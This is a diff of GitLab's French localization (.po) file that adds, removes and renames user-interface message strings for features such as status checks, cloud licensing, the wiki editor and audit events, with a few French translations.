@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr "Afficher le journal brut complet"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr "Afficher les pages parentes"
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "Niveau d’accès, croissant"
-
-msgid "SortOptions|Access level, descending"
-msgstr "Niveau d’accès décroissant"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr "Contact le plus récent"
msgid "SortOptions|Last created"
msgstr "Créé récemment"
-msgid "SortOptions|Last joined"
-msgstr "Date de participation décroissante"
-
msgid "SortOptions|Last updated"
msgstr "Date de mise à jour décroissante"
@@ -30729,9 +30516,6 @@ msgstr "Nom, par ordre décroissant"
msgid "SortOptions|Oldest created"
msgstr "Date de création croissante"
-msgid "SortOptions|Oldest joined"
-msgstr "Ancienneté des participants croissante"
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr "Commence plus tard"
msgid "SortOptions|Start soon"
msgstr "Commence bientôt"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr "Source (branche ou étiquette)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr "Étape"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr "Stockage :"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,8 +31599,8 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "Synchroniser les informations"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Modèle"
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "Le système de suivi est un endroit où l’on peut ouvrir un ticket pour signaler des choses à améliorer ou des dysfonctionnements à résoudre dans un projet"
@@ -32380,6 +32182,9 @@ msgstr "Le système de suivi est un endroit où l’on peut ouvrir un ticket pou
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "Le surligneur de caractères vous aide à garder la longueur de l’objet à %{titleLength} caractères maximum et à faire des renvois à la ligne pour limiter les lignes du corps du message à %{bodyLength} caractères, afin de les rendre lisibles sous Git."
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "Le présentoir de code affiche le temps entre le premier commit et la création de la demande de fusion. Les données seront automatiquement ajoutées ici une fois que vous aurez créé votre première demande de fusion."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "L’ensemble d’événements ajoutés aux données recueillies pour cette étape."
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "L’importation expirera après %{timeout}. Pour les dépôts qui prennent plus de temps, utilisez une combinaison de clone et push."
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "Le présentoir des tickets affiche le temps nécessaire entre la création d’un ticket et son assignation à un jalon ou son ajout à une liste dans votre tableau de tickets. Commencez par créer des tickets pour voir des données sur ce présentoir."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "La phase du cycle de développement."
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "La planification des pipelines permet l’exécution de pipelines programmés, de manière récurrente, pour des branches ou des étiquettes spécifiques. Ces pipelines programmés hériteront d’un accès limité aux projets en fonction de l’utilisateur qui leur est associé."
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "L’étape de planification montre le temps entre l’étape précédente et l’envoi de votre premier commit. Ce temps sera automatiquement ajouté quand vous pousserez votre premier commit."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "La clef privée à utiliser lorsqu’un certificat client est fourni. Cette valeur est chiffrée au repos."
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "L’étape d’évaluation montre le temps entre la création de la demande de fusion et la fusion effective de celleâ€ci. Ces données seront automatiquement ajoutées après que vous aurez fusionné votre première demande de fusion."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,11 +32562,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "L’étape de pré-production indique le temps entre l’acceptation d’une demande fusion et le déploiement du code dans l’environnent de production. Les données seront automatiquement ajoutées lorsque vous aurez fait votre première mise en production."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "L’étape de test montre le temps que que met l’intégration continue de GitLab pour exécuter chaque pipeline pour une demande de fusion donnée. Les données seront automatiquement ajoutées après que votre premier pipeline s’achèvera."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "Le temps pris par chaque entrée récoltée durant cette étape."
@@ -32793,9 +32589,6 @@ msgstr "L’action de mise à jour expirera au bout de %{number_of_minutes} min
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr "La collecte des données d’utilisation est désactivée et ne peut pas être configurée par le biais de ce formulaire."
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "La valeur située au point médian d’une série de valeur observée. Par exemple., entre 3, 5 et 9, le médian est 5. Entre 3, 5, 7 et 8, le médian est (5+7)/2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "Une erreur s’est produite lors du chargement du calendrier d’activité des utilisateurs."
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,8 +32982,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "Offres tierces"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
@@ -33285,6 +33078,9 @@ msgstr "La portée de ce tableau est réduite"
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr "Ce diff est replié."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr "Ce répertoire"
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr "Afin de connecter des dépôts GitHub, vous devez d’abord autoriser Gi
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "Pour connecter un dépôt SVN, veuillez consulter %{svn_link}."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr "Afin de définir les utilisateurs internes, veuillez d’abord activer les nouveaux utilisateurs définis comme externes"
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr "Pour configurer l’authentification SAML pour votre groupe via un fourn
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Demain"
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr "Traçage"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "Suivre les groupes de tickets qui partagent un thème, entre différents projets et jalons"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "Suivre le temps estimé/passé avec les actions rapides"
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr "Déprogrammer la tâche"
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr "Divers paramètres qui affectent les performances de GitLab."
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "Informations de vérification"
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "Afficher les labels de groupe"
@@ -36097,9 +35902,6 @@ msgstr "Voir sur GitLab"
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "Afficher les labels de projet"
@@ -36202,7 +36007,10 @@ msgstr "Inconnu"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "Vous pouvez facilement y contribuer en demandant à rejoindre ces groupes."
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr "Vos projets (défaut)"
msgid "Your Projects' Activity"
msgstr "Activité de vos projets favoris"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr "Vos projets"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr "impossible de lire la clef privée, la phrase secrète estâ€elle correc
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr "activé"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr "Fusionner"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "La fusion a échoué."
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr "Ouvrir dans l’EDI Web"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "Pipeline bloqué. Le pipeline de cette demande de fusion nécessite une action manuelle pour continuer"
-
